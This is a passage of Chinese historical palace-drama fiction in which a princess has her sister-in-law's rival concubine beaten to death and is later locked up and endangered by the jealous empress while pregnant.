萧盈微怔,随即也笑了笑:“她做大嫂也够尽心了。”
就为着这句话,年前陛下突然又给了桓宜华封赏。当年谢太后谋反之时,她以家书为陛下筹谋,因救驾有功,已赚了个诰命在身。如今萧盈又加封了她一个“清河君夫人”,赐食邑清河县,是她一人独享,与她丈夫无关。朝中所有官眷,没有一个人有她这份殊荣。
旨意下得很突然,但明绰一听就明白了。萧盈这是软着来,先讨好桓宜华。皇兄这个人吧,他想让别人不舒服的时候,能把人磨死,可他愿意讲情面的时候,又当真事无巨细,如春风化雨。
别人可能还不明白,但袁增已是明白了。陛下摆出这样的姿态,还不是为了平阳王吗?看陛下不动声色的,其实拳拳爱子之心,还是掩不住啊。袁增琢磨了半天,又觉得平阳王也未必就不能承继大统——退一步来讲,就算平阳王当真心智不全,那对袁家来说,不是更好掌控吗?若是日后萧稷登位,便宜的是他谢聿啊,对袁家有什么好处?
他上次回来,已经在特意在孙女面前试探了一回。袁韶音哪里藏得住事儿,早让他都看在眼里了。既然如此,袁增便把桓宜华叫来,以完全不容推拒的口吻,让她准备送女儿出嫁。
桓宜华对此的回应是带着女儿一起搬进了公主府,只说她做大嫂的,要照顾着弟媳的胎。
她知道女儿心里有萧秧,也知道陛下是给她颜面,她不能不知好歹。可是她也看出了袁增的心思,她就是不愿意让女儿卷入夺嫡之争,不愿意让她成为袁家攀至权力顶峰的另一块砖。
袁韶音不懂母亲的心,跟她闹起了脾气。明绰看在眼里,也无从劝起。桓宜华这样的态度,弄得敬漪澜也十分尴尬,甚至对儿子发了火,质问他为什么自作主张去求了父皇。明绰夹在中间十分为难,一时也是愁云惨雾。
转眼僵持到了年下,今年萧盈病得反复,年节的宫宴都取消了,就没让长公主进宫。明绰本是要在公主府简单办一席就罢了,可是袁识亲自上了门,来请母亲、婶娘和姐姐回家过年去。
这还是明绰头一年上袁府过年。因陛下疼爱,长公主虽下嫁袁家,但连家翁家婆都没来拜会过。刘氏见了她战战兢兢,先给她磕头行礼。
“夫人快起来……”明绰嘴上客气,但不肯改口称“母亲”——她也从来没有对袁增改过口。刘氏神情一下子十分古怪,别别扭扭地抿着唇,不发一言。
袁增只当没看见夫人的脸色,请长公主坐了上首。这本是应当的,但明绰做不到像他一样只当没看见刘氏的脸色,还是礼让了一番,仍让袁增居首,她陪坐次席。然后是袁煦夫妇陪坐,袁韶音被打发去
跟年纪尚幼的弟弟们一块儿坐了,唯有袁识作为长孙能够列席。
明绰瞧了一眼,在席上布菜伺候的,都是袁增和袁煦父子两个的妾室。
宴上举杯,自然又是先关心明绰腹中的孩子,再议论一番西南前线。袁綦刚到前线,尚未有大捷传回。调配军需,统筹全境的兵力,都是大将军的职责,袁增自然最了解情况,他对此战并不太担心,安慰明绰说,孩子落地前后,袁綦说不定就能回来了。
明绰淡淡笑了笑,只道:“经此一役,皇兄定要重整益州边防。既然命仲宁都督益州军事,那与雅隆接壤的三郡二十六县,多少百姓的性命都在他肩上,何必要他急着回来?”
“是,”袁增朝她轻轻颔首,“长公主胸中有丘壑,果然识大体。”
明绰刚要再跟他客套两句,就听见身侧突然传来了一声异动。她转过头去,只见桓宜华手里的酒杯突然倒了,一个侍妾打扮的人正在给她擦衣上的酒液。但桓宜华的脸色非常难看,像是完全不想那女子碰她,只是不好在这个场合下发作。
那侍妾马上跪了下来,连声道:“夫人饶了我!夫人饶了我!”
明绰微微皱了眉。苻氏和李氏她都认得,所以刚才她还以为这是袁增新纳的妾室。但是看桓宜华这个脸色,她心里突然又想起不久前听见袁韶音说的那句话,一下子明白了什么。
明绰心里猛地一沉,突然就明白了为什么桓宜华两个多月来一直留在公主府。
她还真以为桓宜华只是因为当年自己怀孕的时候丈夫远征,所以想从明绰身上补偿些什么。
桓宜华脸色有些发白,轻轻闭上了眼睛,但鼻翼翕动,显然极力克制着什么。袁煦看起来也有些难堪,低声朝那侍妾斥了一句:“还不下去!笨手笨脚的。”
她匆匆忙忙站起来,提着裙角想走。明绰转头看了桓宜华一眼,突然扬起了声音:“慢着!”
那侍妾脚下一顿,回过头来,腿一软又跪在了长公主面前。所有人都惊讶地看着明绰,唯有桓宜华还是闭着眼睛,但苍白的面色慢慢泛出了耻辱的淡红。
“你生得好面熟啊,”明绰笑了笑,“从前我好像在阿嫂身边见过你?叫什么……?”
“是,”那侍妾低下头,“奴婢叫雪珠,是在夫人房里伺候的……”
“对!”明绰想起来了,心里更添了恼恨,脸上却还是若无其事地笑着,“雪珠。你伺候阿嫂有些年头了,怎么这么不小心?”
“我……”雪珠答不上来,竟然转过头去,求助似的看向了袁煦。明绰看着她通身的打扮,穿金戴银,竟比袁增的侍妾都还招摇,哪里还像个伺候人的。她再看一眼苻氏和李氏,她们都别开了眼睛,毫不掩饰对雪珠的鄙夷。
“长公主,”袁增干笑了一声,想打个圆场,“何必为了一个奴婢坏了兴致……”
“奴婢?”明绰佯作意外地睁大眼睛,突然站了起来,从雪珠头上拔下了一根金钗,放在手里掂了掂,“袁府可真是家大业大,一个奴婢,打扮得比我公主府的管家女史还富贵呢?”
她敛了笑容,把那金钗狠狠地掼进了袁煦手里:“伯彦,好大方啊!”
一时没人说话,桓宜华坐在那里,一行眼泪慢慢地从颊边滑过。明绰看着她的表情就知道了,她本是要忍下来的,就像之前的每一次。她再也气不过,一点儿没有给袁煦情面,骂道:“你是人还是畜生?就这么管不住?!”
她骂得实在难听,所有人都变了脸色,桓宜华赶紧拉住了她的手,轻声道:“明绰,你别……”
可她话还没说完,刘氏先开口维护儿子了,小声嘀咕了一句:“这是长兄长嫂房里的事,怎么轮得到你管……”
她话还没说完,袁增就喝了一声:“住口!”
桓宜华本是要劝阻明绰的,但听到婆母这样的口气,顿时深吸了一口气,胸膛剧烈起伏着,更多的眼泪落了下来。
“她怎么管不了?”她抽噎着,原本是要拦明绰的手这会儿紧紧地与她交握,靠她支撑着,“她再不管,我由着你们全家欺负吗!”
袁煦叫了她一声:“宜华……”
桓宜华一把挣开他:“你到底还要我怎么样?我已经睁一只眼闭一只眼了,你就这么疼她,非要让她今夜到我面前来……”
袁煦露出十分为难的表情:“我没有……”
他话还没说完,雪珠往前膝行了两步,突然抱住了桓宜华的双腿,哀泣起来:“夫人你就开个恩吧……我好歹跟了你这么多年,我是真心想伺候大公子,你就高抬贵手,让我进门吧!”
刘氏就嫌不够乱似的,也帮了一句腔:“就是啊,整天地不着家,还不许夫君……”说到一半,又看见袁增的脸色,赶紧住口了。
明绰撑住了桓宜华,就这么扭头看了一眼,便忍不住冷笑了一声。她算是看明白了,以袁增在家里的威信,要是他不点头,这雪珠敢在家宴上来桓宜华面前说这种话吗?无非就是要折辱她,逼迫她,要她知道自己的身份,要她点头同意嫁女儿。
所以闹得这样,袁增也不说话,就看着。连桓宜华的儿子也不开口帮一句,只会坐在那里看着太父的脸色。
桓宜华任由雪珠抱着腿,似是挣也挣不动了,唯有心死的眼泪。二十年的贤惠,二十年的忍耐,就换来此时,此地。
“好……”她的声音颤抖着,似是想答应下来。但是明绰突然俯身,硬是把雪珠的手掰开,把人狠狠地一推。
“好大的胆子!”明绰一时气急,声音都在发抖,“来人!给我把这贱婢拖出去,打!”
“长公主!”袁增站了起来,“这是在我府上!”
明绰转回头,冷冷地看了他一眼:“所以呢?本宫罚不得?”
袁增只说了个“你”字,又想对着儿媳施压:“宜华……”
他还没开口,明绰已经拦在了桓宜华身前,又高声叫了一遍:“来人!”
阴青蘅是随身跟着长公主来的,袁府的下人不敢上前,她已快步出去叫了公主府里跟来的轿夫。都是人高马大的壮汉,一下子就把雪珠拖了起来。她吓得脸色煞白,尖叫着想抓住袁煦。
“大公子!”
袁煦脸上有不忍,也有被明绰冒犯了尊严的难堪,只道:“长公主……”
明绰一口打断他:“你求一个字,她就多挨十杖!”
“长公主!”
“六十杖!”明绰转头下令,“打!”
整个袁府都乱了起来,袁韶音早已听见了动静跑了进来。明绰给了袁韶音一个眼神,让她过来扶着母亲。袁识跪了下来:“婶娘别动怒!六十杖下去,雪珠就没命了呀!”
明绰低头看了他一眼,简直比桓宜华还气。袁韶音也是气得直骂他:“你怎么站在那个女人那边!”
袁增马上喝止孙女:“没你说话的份!”
明绰看着他,怒气更盛,甚至感觉到腹内都跟着不祥地抽痛了一下,但她根本顾不上。新仇旧怨一起翻了上来,她看着袁增那张脸,眼前又一次浮现出楚恕颐临死前暴起的青筋。她忍了好久啊。为了大将军的权势,她把那块良心硬是咽了下去,咽得如鲠在喉,终于到了吐出来的时候了。
“有我在,”明绰看着他,说得一字一顿,“韶音想说什么就说什么。”
门外已经传来了雪珠凄厉的惨叫,袁增还从来没有被一个女人这样骑到头上过,终于连表面的体面都装不下去了,几乎是恶狠狠地说了一句:“长公主不要仗着陛下的恩宠,连尊卑上下都忘了!”
“是大将军忘了尊卑上下吧?”明绰毫不畏惧地反问,“我为君,你为臣!”
袁增一时语塞,但是袁煦已经反应了过来,立刻撩袍跪下:“都是臣一人之过,请长公主息怒!”
明绰低头看着他:“你还是在替她求情吗?”
袁煦愣了一下:“臣……”
明绰冷笑了一声:“青蘅,袁将军刚才说了几个字?”
阴青蘅只道:“奴婢也数不清了,总有十个字往上吧。”
“那就一百杖。”明绰毫不留情,“打。”
袁煦一下子说不出话来,门外的惨叫反而弱了下来,那女人似是已经没有力气了。不过半刻,就彻底没了声音,只有木杖击打在死肉上发出的沉闷动静。然后连那动静也停了,动手的轿夫跑回来,低声在阴青蘅耳边说了一句。阴青蘅再进了门,轻声向明绰汇报。
“长公主,断气了。”
刘氏吓得一声尖叫,一下子软了下来。桓宜华也变了脸色,非常紧张地抓住了明绰的手。但是明绰脸上一点表情都没有,只是摁住了她的手背,让她别急。
“你!”袁增再也按耐不住,“就算你是长公主,也没有肆意打杀家奴的道理!你眼里还有没有国法!”
明绰丝毫不惧:“这家奴居心不良,犯上悖逆。大将军治家不严,本宫替你好好正一正家风!”
“好,好……”袁增怒极反笑,突然上前一步,一把拽起了还跪在地下的儿子,“现在就更衣,走……我们进宫去,让陛下评评这个理!”
第157章
萧盈撑着额头,整个人隐在罗帐后面,很长时间都没有出声。夜已经很深了,任之带着几个宫人,尽量动作轻地把蜡烛都点上,然后无声无息地退下。萧盈这才用力地拧了拧眉心,强忍住了头痛,看定了罗帐对面跪着的人。
他虽取消了宫宴,但还是强撑着跟皇后吃了顿饭,用了些酒,这会儿正浑身都不舒服。听见大将军携子求见的时候,本来是要回绝的,结果袁增张口就说状告东乡公主杀人,有违国法。
“你再说一遍,”萧盈有气无力,“她杀了谁?”
“禀陛下,”袁增伏下去,“长公主杖杀臣府中侍妾秦氏!”
“秦氏?”萧盈莫名其妙,“你的侍妾?”
袁煦跟在父亲后面,几乎是不情愿地开了个口:“禀陛下,是臣的侍妾。”
一片静默。然后萧盈再次撑住了额头,从鼻子里叹出了很长的一口气。他应该是在发热,鼻息呼出来都是滚烫的。
袁增:“陛下英明!东乡公主跋扈蛮横,目无法纪,她……”
“大将军。”萧盈打断他,还是那副有气无力的声音,像是嫌他声太大了。他真的提不起劲儿来跟他这么昂然相对,说完这三个字,顿了好一会儿,才攒出了下一句话的力气,“朕和伯彦单独说两句。”
袁增不服:“陛下!”
萧盈便轻轻地“啧”了一声,听起来已经非常不耐烦。袁增立
刻收声,看了儿子一眼,只能起了身,从内殿退了出去。袁煦跪在地上,看见萧盈的手伸出来,朝他招了招,示意他上前。他便膝行着,进了几步。萧盈这才开了口,收着劲儿,音量很低:“你不是答应过桓湛了吗?”
“陛下,臣没有纳她过门啊!”袁煦还想解释,“臣不过念在她伺候过一场,多赏她些衣服首饰,平日里不叫她太辛苦,臣没想……”
“那你都没纳她过门,”萧盈耐着性子,“好好的,东乡怎么上你们家喊打喊杀?”
袁煦刚要说话,萧盈就很了然地打断了他:“定是那秦氏蹬鼻子上脸,你们又都联起手来逼着桓宜华做这个贤妻,她才要替阿嫂出头,是不是?”
袁煦一时无话可答,一方面是他自己心虚,另一方面也是他知道萧盈不可能不向着长公主。但明绰确实是太过分了,袁煦心里也气不过,半晌,又道:“臣有错,陛下要罚,臣也认了。可长公主也太蛮横了!好歹是一条人命,她就这么……”
雪珠的惨叫声还荡在他心里,袁煦竟然哽了一下。萧盈猛地抬起头,让他这一声哽得来了气,顺手就抓起了面前的茶盏往他脸上丢。
“你还心疼上了?”萧盈火了,“多大岁数的人了?房门口过个猫儿狗儿你都忍不住?要不要脸啊你!”
那茶盏被罗帐挡了一下,泼湿了一片,没砸到袁煦头上。萧盈尤不解气,只道:“当初那什么苻氏,就早该打死,朕看你还敢不敢!”
袁煦便道:“臣知道,是臣高攀了桓家,活该臣一辈子抬不起头来!”
“你!”萧盈头疼得更厉害了,狠狠地从胸中长叹了一口气出来,实在是没力气骂他了。
当年桓宜华为了苻氏哭到了含清宫,萧盈把袁煦叫来,他也是这样。袁煦就是好色嘛,也没别的毛病,他又没有因此不认桓宜华这个正妻。他也知道桓宜华貌美贤惠,苻氏比不上。可是他在荆州驻守,夫妻常年两地分开,他身边总要有个贴身伺候的人吧?他那会儿跟萧盈还更没大没小一点,说多了就梗着脖子埋怨,还是桓家看不起他的出身才这么斤斤计较。
“那你想怎么着?”萧盈压着火气,“不想过了?想学仲宁,要和离,是不是?”
袁煦这会儿倒又低了头:“臣没这么想过。”
“那要怎么样!”萧盈的声音提高了一点儿,“要朕杀了妹妹给你那小妾偿命么!”
袁煦伏下去:“臣不敢!”
萧盈音量刚刚提上去一点儿,头就昏得更厉害,眼前一阵一阵地发黑,几乎对不上袁煦那个人影儿。他只好闭了眼睛,手指牢牢揿住了疯跳个没完的太阳穴,深吸了几口气,才问:“东乡人呢?”
袁煦愤愤道:“长公主已经回去了。”
袁增气势汹汹地说要进宫告状,明绰根本理都没理,没事儿人似的要摆驾回公主府了。桓宜华立刻回屋去收拾细软,袁识边哭边求,但是桓宜华只当没听见,就抱走了年纪还小的袁博。袁韶音都不用母亲说,自己就主动跟上了。
他们走的时候,刘氏气得追出门去骂。桓宜华嫁过来二十年,一直跟婆母恭恭敬敬的,袁煦还是头一次看见母亲被气出了当年在荆州的乡音,骂得极其难听。
可她骂得越难听,桓宜华越是头都没有回。
萧盈很长时间都没说话,久到袁煦差点儿以为他睡着了。
“朕知道了,”他最后很轻地说了一句,“你们也回去吧。”
复朝之前,萧盈又召了袁增,让他厚抚秦氏的家人,就想把这事儿遮掩过去。但是人命官司究竟是人命官司,复朝之后,太极殿上还是出现了不少攻讦长公主跋扈蛮横,草菅人命的声音。
虽然不可能真的要求长公主偿命,但众口一词,要陛下惩戒,至少表个态度。
于是陛下就略表了一个态度,下了道旨,轻飘飘地斥责了长公主两句,让她在公主府思过。没了。
众臣极为不满,尤其长公主杖杀的还不是她自己夫君的侍妾,而是作为弟媳,去管了长兄的闲事——“长幼有序”四个字,陛下可是强调了整整一年啊!怎么到长公主头上,就不论长幼有序了呢?
建康的世家们本就因为她带起来的“妒妇”之风而苦不堪言,这下更是炸了锅了,不依不饶地上书,说长公主带起来的是一股歪风邪气,若不及时加以遏止,就要威胁了夫妻纲常,坏了礼法,最终国将不国了!
桓夫人如今带着儿女都离家出走了,连桓廊也站出来说,就是长公主离间了袁煦夫妻的感情,所以此举万万不可放任。
最后吵得没法子了,陛下只能退了一步,召长公主入宫,去皇后那里听训女诫,遵习为妇之德。
明绰自然是百般不情愿,而且她也不太舒服。年节那天在袁府气得狠了,回去就腹中作痛,甚至见了红。偏偏大年下的,她放罗太医回家了。桓宜华又愧又急,守了一晚也哭了一晚。明绰自己心里也急,还分神安慰桓宜华,一晚上就没怎么睡着。
阴青蘅连夜出去找了个大夫,抓了保胎药吃着,那大夫说她如今不比二十岁的新妇,大动肝火伤了胎气,千万要卧床,不能再随意动了。从那天开始,明绰就没再下过床,这才安稳下来。但是朝中闹成这样,明绰看着萧盈强撑的病容,到底也没张得开嘴。
“就去走一天过场,”萧盈承诺她,“让他们闭嘴。”
毕竟打死了一条人命,大雍还是有国法的。
谢星娥早早地备好了笔墨,等明绰过来,就让她抄《女诫》,但也不说抄几遍。皇后甚至本人都没出面,就让宫人传话,说抄到长公主诚心认错为止。
明绰看着桌上的笔墨,甚至没忍住笑出了声。她根本懒怠动笔,反正她过来也就是给皇兄一个面子,又不可能真的有人来查验她抄没抄。
谢星娥不出面更好,明绰现在也不想跟她置气。谢星娥把她关在偏殿里,她就安然若素地呆着,甚至还趴在案上睡着了。
可是趴在案上到底还是不太舒服,她再醒过来的时候,只觉得腰痛得跟要断了似的,小腹也有点儿闷闷的钝痛,跟经痛差不多。明绰想看一眼时辰,发现这屋里也没刻漏,倒是窗外的天色已经暗了。她便扬声想叫人,但是门外一片寂静,根本没人过来。
明绰自己在腰上捶了两下,站起来想去推门,但是一推才发现,门竟然从外面锁上了。
“来人?”明绰有点儿慌了,用力地晃了门几下,听见挂在外面的锁随之“咣啷啷”地响动,她又提高了
声音,“星娥!”
可是外面一点儿动静都没有,明绰又用力地撞了撞门,锁没动,但她突然感到腹中抽痛又加剧了一点儿,甚至有点儿像当初要生的时候那种刚开始的阵痛。她背上顿时发了一层汗,不敢再花一点力气,立刻转回去,在坐席上平躺下来,数着自己的心跳,让自己冷静。
“没事,”她的手搭在小腹上,也不知道是在安慰自己还是在安慰腹中的孩子,“别怕,别怕……”
她就这样缓缓地平静下来,好一会儿,觉得腹中不疼了,就偷偷检查了一下,发现并没有出血,就长出了一口气,心里更安定了几分。她干脆保持不动,就这样又躺了不知道多久,才终于听到门口来了人,打开了锁。
谢星娥走了进来,看见明绰用手肘把上半身支了起来,皱起眉头看着她。她先是意外地挑了挑眉,低头看见了桌上一字未动的白纸,便觉得好笑似的:“姐姐睡得可好啊?”
明绰翻了个白眼,爬起来坐好,但是行动很缓慢,生怕动作一猛,又惊着了腹中的孩子。谢星娥看着她的动作,垂下了眼睛,让跟在身后的宫人进来。端着托盘的两个宫人进来,把两三碟小菜放在了明绰面前的桌案上。
明绰看也没看:“我不饿。”
“一天了,”谢星娥很关心的口吻,“姐姐不饿,肚子里的孩子也该饿了。”
明绰不想理她,只道:“皇后罚够了,可以放我回去了吧?”
“姐姐一个字都没动,”谢星娥在她对面坐了下来,“那我怎么知道你是不是诚心认错?”
明绰抬头看了她一眼,再次提醒自己,不能生气,不能生气。她一句话也没说,伸手取了桌上的笔,蘸了蘸墨就开始写。笔走龙蛇,字迹勾连,换个旁人来根本看不出她写的是什么。
但是她这样明显敷衍的态度,谢星娥也没跟她追究,反而一副想跟她聊聊天的样子:“姐姐别这么戒备,这都是陛下送来的菜,他怕你在我这里,我饭都不给你吃呢。”
明绰笔下没停,也不搭理她,只想赶紧抄完至少一份,好交差走人。
“他自己又发了一天的热还没退呢,都想得到不能饿着你。”谢星娥声音低低的,似别有一层深意,“可真关心你肚子里的孩子啊。”
明绰的笔尖终于一顿,抬起头看着她。
“这是我和袁綦的孩子。”她强调什么似的,“我已经嫁给袁綦了,如、你、所、愿。”
谢星娥对此就只是耸了耸肩:“可你不是求了陛下,把袁綦调走了吗?”
明绰有了身孕以后并没有马上公开,一开始胎相不稳,她怕冲撞了什么,越少的人知道越好。所以栖凤宫知道明绰怀孕也就是最近的事情,明绰看着谢星娥,突然意识到她误会了什么。
“你为什么要调走袁綦?”谢星娥看着她,“你怕他发现这孩子的月份不对?”
明绰让她气笑了:“你现在就去叫太医来,看看这孩子的月份对不对,是不是我从洛阳回来的时候怀上的。”
“那他为什么这么关心?”谢星娥几乎要控制不住声音里细微的颤抖,“难道他还能忍受你怀着别人的孩子……”她说不下去,一股强烈的嫉妒猛地涌上来,让她不得不扭开脸,狠狠克制了一番,才平静下来。
“姐姐,”谢星娥的声音很低,“你不能把这个孩子生下来。”
明绰的视线立刻斜到了一旁的菜里,谢星娥却笑了:“放心吧,菜里什么都没有。我虽然从小就不及你聪明,但也没有这么笨呀。”
“那你想干什么?”
“百官都说你妒忌成性,跋扈蛮横,要我这个做长嫂的来好好训诫你为妇之德。”谢星娥意味深长地看着她,“那我还能做什么?自然是好好训诫你呀。你不听,我就只能一直训下去了。”
明绰冷冷地看着她,笔捏在她手中,笔尖在纸上停留地太久,已经洇出了一团污糟的墨迹。刚才谢星娥说什么来着?她说萧盈今天发了一天热都没退。明绰极力压抑着,但她的手指轻轻地发了抖。
“我知道,你们不是亲兄妹。”谢星娥牙关咬得紧紧的,恨不得撕碎什么,“但是事已至此,陛下就是萧氏的骨血,你们只能是兄妹!这个孩子是天理不容的……”
“星娥,”明绰还想跟她讲道理,“我跟皇兄什么都没有做过……”
谢星娥猛地站了起来,衣袖突然带翻了一碗汤。明绰往后一避,谢星娥的声音像绷断的弦,猛地抽到了她身上。
“我都亲眼见到了!你还要骗我!”
明绰腹中又抽痛了一下,她没忍住弓起了腰。
“好……好!”她只能依着谢星娥,飞快地想出另一条说辞想说服她,“正如你所说,我和陛下只能是兄妹,那这个孩子也只能是袁綦的!就算生下来了,也不可能和你的稷儿抢什么,对不对?”
“所以你承认了?”谢星娥笑了一声,但是难听得像哭,“你承认了!”
“我没有……”明绰额角已经见了汗,她痛得好厉害,“你去叫太医来好不好?太医会告诉你这孩子到底几个月,你相信我……”
“我就是太相信你了。”谢星娥退了一步,“我相信你会跟陛下一刀两断,相信你会帮我的儿子……”
明绰咬了咬牙,不敢相信自己竟然会为如此荒谬的理由而落进谢星娥手里。曾经她面对她,是为姐妹之情相迫,现在姐妹之情没有了,就是她拿来压过袁增的那一句君君臣臣。
大将军越不过长公主,长公主也越不过皇后。
明绰急得近乎口不择言:“如果这真是陛下的孩子,你就不怕他处置你么!”
然后说完她就知道不对了,谢星娥已经钻进了牛角尖,她越是这样说,越是证明了谢星娥心里最不堪的猜测。
果然,谢星娥脸上露出了一股可怕的神情,突然逼近了她,很低地说了一声:“那你去问问裴贵嫔啊,她的孩子也死了,陛下怎么没有处置我呢?”
她说完这句话,也不等明绰反应过来她听到了什么,转身就走。明绰也站了起来,紧紧跟在她身后,想跑出去。可是谢星娥快了她一步,站在门口想把门重新关上。
“放我出去!”明绰不顾一切地叫起来,用自己的手臂夹在门缝间,不让她关上,“来人啊!皇兄!救我!”
但是谢星娥好像没听见,只是近乎疯魔地低语着:“这个孩子不能生下来……绝对不能生下来……”
这是不伦的证据,是萧盈身世的破绽。这个孩子会毁了一切,毁了她的后位,她的稷儿。
“星娥!我求求你!”明绰终于没了办法,只能落泪哀求,“这真的是我和袁綦的孩子,都是我对不起你,你放过我的孩子……”
谢星娥顿了顿,突然露出了一个诡异的笑容。
“那他会感谢我,替他除掉了你肚子里别人的孩子的。”
她伸出手,狠狠地把明绰往后一推,推得她重重跌到了地上。大门被重新关上,在锁舌“哒”地一声扣住之前,她听见门后传来了一声绝望的痛吟。
第158章
雪无穷无尽似的往下落,每一脚踩下去,都需要更大的力气抬起来。他已感觉不到自己的四肢,却还是照着惯性往前走。视线里隐约有个人影,他不知道那是谁,却本能地向他靠近,直到那个人朝他伸出了手。
“盈儿。”他只能听见那个人这样唤他,他的声音替他做了主,乖巧地回应了一句,“太父。”
谢郯笑了,他握住了萧盈的手,陪他走在雪地里。萧盈需要很努力才能跟上他的步子,却怎么也看不清雪雾后面的那张面孔,尽管他已经站得足够近。
好冷,这是他剩下的唯一的感觉。梦里的雪是没有风的,只会垂直往下落,所以他才知道这是梦。还有谢郯,幼年的萧盈跟在他身边,心里却在想,看不清他的脸,是不是因
为自己其实已经不记得太父长什么样子了。
他在做梦,萧盈很清楚这一点。可是他醒不过来。
视线的尽头很快出现了熟悉的殿宇,太极殿巍峨耸立,比他熟悉的那个还要高。又或者是因为小孩子的腿短,所以他爬得极为吃力。谢郯一阶一停,非常耐心地等着他,始终没有放开他的手。
正殿里没有雪了,但也没有人。殿内还有台阶,将皇位拱立于中央,皇位后面,是一道熟悉的珠帘。
“她不在。”萧盈说,他抬头看向谢郯,似是疑惑,“母后不在。”
“对,她不在。”谢郯蹲了下来,让自己与他视线平齐。原来他还是记得谢郯的脸,萧盈看着已经去世多年的老人,发现他其实根本算不得老。五十几岁的谢郯甚至都还没有几根白发,眼睛里闪着矍铄的光。他笑着对萧盈说:“你逼死了她。”
萧盈摇了摇头,就像一个孩子否认他多吃了一块糕点:“不是我。”
谢郯还是笑着,轻轻歪了歪头:“你逼死了我。”
萧盈还是很平静:“我放过了谢氏。”
谢郯便“唔”了一声,似是觉得萧盈答得理由充分,他无话可说了。
“你想做汉宣帝。”谢郯站直了身体,垂下眼睛,摸了摸萧盈的头,“但你还是心软了。”
萧盈听不出他话里是欣慰或是失望。这个梦有些太荒诞不经了,他开始感觉不耐烦了。
“你也心软过,太父。”他的声音很轻。
“是啊,”谢郯叹了一声,看向了空荡荡的皇位,“我依然不知道这到底是一件好事还是坏事。”
“还不晚,”萧盈听见自己的声音,更像个大人而不是那个孩子了,“朕还是可以效仿汉宣帝。”
“是吗?”谢郯回答得心不在焉。萧盈也转过脸,看到皇位上不知何时已经坐了一个人。那显然是个女子,即使繁重的天子衮服压下来,已经看不出多少身形的差异。玉藻覆面,只露出她小巧精致的下颌。
“母后。”萧盈唤她。
那女子很轻地笑了一声,伸出手,拨开了眼前的玉藻。
“皇兄,”明绰看着他,“是我呀。”
萧盈猛地睁开了眼,一把抓住了拂在他额前的一只手。那手很小,软乎乎的,是个孩子的手。惊魂随着梦中的情形迅速褪去,萧盈无声地吸进一口气,听到了女儿的声音:“父皇?你醒啦?”
他轻轻放开萧玉襄,转过了脸。女儿跪坐在他的床边,一脸的担忧。他终于想起了睡前的情形,问了一句:“你一直在这儿守着吗?”一开口才发现他的嗓子哑得厉害。
萧玉襄点了点头,乖巧地给他端来了水。萧盈想坐起来喝,萧玉襄赶紧把水放在床沿,伸手过来扶他。但她哪有那样的力气,不过是把他的手臂往上抬了抬。萧盈没忍住笑了一声,顺手把女儿揽进了臂弯里,另一只手端起杯子,喝干净了还带着余温的一盏茶。
“姑母还在你母后那里吗?”他问女儿。
萧玉襄没有立刻作声,萧盈低头看了她一眼,看见女儿的眼睛眨了眨,然后她点了点头:“姑母昨晚就回去了。”
萧盈放心了,“嗯”了一声,把人放开了一些。萧玉襄很殷勤地把他喝干的茶盏拿走,萧盈刚想叫人进来伺候,她又小跑着回到床边,小大人似的伸手摸了摸他的额头:“总算不热了,父皇再休息一会儿吧,有玉襄守着你就够了。”
她似是很高兴能有个这样与父亲单独相处的机会,萧盈的眼神一软,抬手摸了摸女儿的头:“好。”
任之站在帘外,随时等着陛下的宣召。但是床上的身影已经重新躺了下去,崇安公主继续跪坐在他床头,小声问他:“父皇,玉襄给你唱首歌,好不好?”
其实萧盈应该头很疼,但他应该点了点头。殿内很快响起了女孩儿稚嫩轻快的歌声,约莫是她从弟弟的保母那里学来的哄婴儿的歌,唱得萧盈发出了几声轻笑。
萧玉襄停下来:“我唱得不好吗?”
“好,”萧盈的声音很轻,“你接着唱。”
歌声重新轻轻地荡起来,任之垂下头,无声无息地退出了含清宫。
已经到了宫门开的时辰,但天还没亮。空气里凝着一层湿冷的霜气,呼吸间都刮痛肺腑。该下雪了,可是老天憋着一口气,就是不下。任之在黑暗中快速地从阶下跑下来,找到了阶下举着一盏灯在等的人影。
“内贵人,”阴青蘅一张口就是一大团白雾,“陛下他……”
任之知道她要说什么,轻轻地拉住了她的手臂,把她拉远了一些。
“陛下好不容易退了烧,崇安公主守着……”任之的嘴唇几乎就没动,每个字都小心地挤出来,“现在不能去打扰。”
“可是我们长公主一夜未……”
任之伸出手,摁住了她后半截话。
“阴女史不妨去承华宫问问。”任之的手在阴青蘅的手背上微微用力,好像在提醒什么,但他说话的语气并无异样,“许是昨夜留得太晚了,长公主又去找敬夫人了。”
阴青蘅顿了顿,然后她飞快地抽回了自己的手,朝任之行了个大礼:“多谢内贵人。”
她一刻也没有耽搁,立刻转身,朝着承华宫的方向跑去。她手中那盏灯在清晨的寒风里晃得厉害,很快就和她整个人一起,彻底被黑暗重新吞没。
一豆烛光“嗤”的一声被擦亮,谢星娥骤然被惊醒,猛地从床上坐了起来。
“怎么了?”
摇醒她的宫人从床边退开一步,向她禀报:“皇后,长公主已经见红了。”
谢星娥似是非常意外:“这么快?”
她一边说话,一边已经有人点起了更多的蜡烛。天还没亮,谢星娥撩起帘子看了一眼刻漏,她才睡了两个时辰。
下什么堕胎方是不行的,一来证据太明显,二来药性实在控制不好。万一明绰出了什么事,陛下才是真的不会放过她,这一点,谢星娥还是有数的。她想出来的法子就是拖,趁着萧盈还病着,就这样生拖下去。
那屋里除了一张梆硬的坐席和桌案,就空无一物,谢星娥连个软垫、支踵之类的都没留,还每隔一个时辰就派人进去训诵《女诫》,明绰根本没有可能好好休息。这么拖上两天,哪个怀着身孕的女人受得住?
就算到时候萧盈要追究,谢星娥也理直气壮。毕竟是陛下把长公主送来栖凤宫听训的呀,她只是尽皇后的责任,她又不是故意的。
来汇报的宫人扶着皇后从床上起来,轻声道:“好像本来胎就不稳。”
谢星娥明白了什么,咬着牙愤愤地冷笑了一声:“那定是刚怀上,她果然是骗我!
“那……”宫人扶着她到梳妆台前坐下,轻声问了一句,“要请太医吗?”
原计划是要请的,做戏总得做全套。但是谢星娥从镜子里看了身后的人一眼,只问了一句:“见红得厉害吗?”
那宫人低了头,揣度着皇后的心思,支支吾吾的:“也,也还没那么厉害……”
谢星娥漠然地转过了脸:“那就再等等。”
她话音未落,外面突然传来了一阵骚乱,似是有人正往里闯。谢星娥茫然地转过头去,只听到那乱糟糟的声音近了,好几个宫人都在喊“平阳王殿下”“殿下不可”,一转眼,声音就已经到了门口。
果然有个男子的声音在门外响起来:“儿臣来给皇后请安了!”
谢星娥被他吓得不轻,这还是她头一次真的听到萧秧的声音,她一直以为萧秧不会说话呢!她第一反应是连忙找衣物蔽体。萧秧已经大了,她又不是生母,总还是要有些避讳的。那傻子也不知道是吃错了什么药,直直地就往里进。
